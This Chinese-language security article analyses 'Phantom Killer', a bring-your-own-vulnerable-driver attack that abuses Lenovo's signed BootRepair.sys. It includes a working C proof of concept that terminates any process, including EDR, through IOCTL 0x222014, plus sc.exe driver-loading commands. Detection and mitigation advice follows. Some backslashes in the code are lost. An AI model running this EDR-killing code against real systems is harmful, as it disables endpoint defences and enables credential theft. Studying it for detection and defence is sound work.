Phantom Killer:利用Lenovo合法驱动终结EDR进程

导语: Bring Your Own Vulnerable Driver(BYOVD)攻击已经成为红队和真实攻击者的标配技术。最新案例是安全研究人员发现的Phantom Killer——利用联想笔记本附带的一个合法签名驱动,让任何低权限用户都可以在Kernel模式下终止任何进程。

一、背景:什么是BYOVD

BYOVD(自带漏洞驱动)是一种利用合法签名但存在安全漏洞的驱动程序进行攻击的技术。攻击者加载这些驱动到系统内核后,可以执行特权操作——包括终止防病毒软件和EDR进程。

这种技术的关键在于:

  • 驱动是正规厂商签名,微软默认信任
  • 驱动本身存在设计缺陷,可被低权限用户滥用
  • 一旦加载到内核,所有用户态保护都失效

二、漏洞分析:BootRepair.sys

2.1 驱动来源

这次漏洞的主角是联想PC Manager工具中的BootRepair.sys驱动。病毒分析显示:

文件名:BootRepair.sys SHA-256:5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946 签名状态:由联想有效签名的正式驱动

2.2 漏洞详情

安全研究人员在逆向工程中发现该驱动存在以下问题:

问题一:设备对象无DACL限制

// 驱动创建设备对象
IoCreateDevice(
    DeviceExtension,
    0,
    L"\Device\::BootRepair",  // 注意这个特殊命名
    FILE_DEVICE_UNKNOWN,
    0,
    FALSE,
    &DeviceObject
);

设备对象创建时没有设置安全描述符,任何用户都可以通过\.BootRepair打开该设备的句柄。

问题二:IOCTL无权限检查

// MajorFunction[14] 处理IOCTL
switch(ControlCode) {
    case 0x222014:  // 唯一的IOCTL
        if (InputBufferLength == 4) {
            // 直接传递PID给进程终止函数
            TerminateProcessByPID(InputBuffer);
        }
        break;
}

该驱动只有一个IOCTL(0x222014),且完全没有访问检查。任何用户都可以发送任意PID,驱动会立即终止该进程。

问题三:内核级进程终止

// 进程终止函数
VOID TerminateProcessByPID(PULONG ProcessId) {
    PEPROCESS Process;
    // 通过PID获取EPROCESS
    PsLookupProcessByProcessId(ProcessId, &Process);
    // 直接调用内核终止
    ZwTerminateProcess(Process, 0);
}

这个函数直接使用PID获取EPROCESS,然后调用内核函数终止进程——受保护进程也不例外。

三、攻击方式

3.1 场景一:驱动已在运行

如果目标系统已经加载了BootRepair.sys(如安装了联想PC Manager),攻击者可以直接使用:

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("usage: phantom.exe <pid>n");
        return 1;
    }
    
    DWORD pid = atoi(argv[1]);
    
    // 打开驱动设备
    HANDLE h = CreateFileW(
        L"\\.\BootRepair",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL,
        OPEN_EXISTING,
        0, NULL
    );
    
    if (h == INVALID_HANDLE_VALUE) {
        printf("[-] open failed: %dn", GetLastError());
        return 1;
    }
    
    DWORD ret;
    // 发送终止命令
    if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL))
        printf("[+] killed %dn", pid);
    else
        printf("[-] ioctl failed: %dn", GetLastError());
    
    CloseHandle(h);
    return 0;
}

3.2 场景二:BYOVD攻击

如果驱动未加载,攻击者可以自行加载:

# 加载恶意驱动
sc.exe create PhantomKiller binPath="C:BootRepair.sys" type=kernel
sc.exe start PhantomKiller

签名驱动可以成功加载到内核,然后使用相同的代码终止目标进程。

四、实测效果

研究人员在测试环境中针对CrowdStrike Falcon进行了测试:

  1. 系统状态:CrowdStrike正常运行,进程受保护
  2. 加载驱动:使用sc.exe成功加载BootRepair.sys
  3. 执行攻击:运行Phantom.exe,传入CrowdStrike进程PID
  4. 结果:CrowdStrike进程被成功终止

在终止EDR后,研究人员成功执行了mimikatz等凭据窃取工具——这正是BYOVD攻击的典型应用场景。

五、影响范围

这个问题影响所有安装了联想PC Manager的系统:

  • 联想笔记本(Yoga、ThinkPad、IdeaPad等)
  • 台式机和工作站(预装联想工具的型号)

攻击者可以利用此漏洞:

  • 终止防病毒软件
  • 禁用EDR
  • 终止受保护进程(如lsass.exe)
  • 加载其他内核级rootkit

六、检测和防御

6.1 检测方法

监控驱动加载

Get-WinEvent -FilterHashtable @{LogName="System";ID=6} |
    Where-Object {$_.Message -match "BootRepair"}

监控异常进程终止: 在SIEM中创建规则,监控短时间内大量进程终止事件

检测Phantom工具: 搜索是否存在与公开PoC特征匹配的可执行文件

6.2 防御建议

短期缓解

  • 阻止BootRepair.sys的加载(加入驱动黑名单)
  • 监控sc.exe对内核驱动的创建
  • 启用Windows Defender的驱动加载保护

长期方案

  • 使用微软的HVCI(Hypervisor-protected Code Integrity)
  • 部署反作弊驱动签名规则
  • 考虑使用EDR的内存保护功能

七、漏洞披露时间线

  • 发现:安全研究人员发现该驱动存在设计缺陷
  • 逆向:完成对驱动的完整逆向工程
  • 报告:向联想安全团队报告
  • 公开:研究人员决定公开技术细节和PoC

值得注意的是,研究人员提到之前曾因发布类似工具导致GitHub账户被封禁,因此这次选择自建Git实例分发。

八、总结

Phantom Killer再次证明了BYOVD攻击的现实威胁。即便是知名品牌附带的”合法”驱动,也可能存在严重的安全问题。安全团队需要认识到:

  1. 驱动白名单不是银弹:签名驱动也会成为攻击武器
  2. 低权限不等于安全:系统设计缺陷可以让低权限用户执行高危操作
  3. 纵深防御仍然必要:即使EDR被终止,也要有其他检测机制

对于终端安全而言,需要从单纯的”能否运行”转向”是否正常”的行为检测模型。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容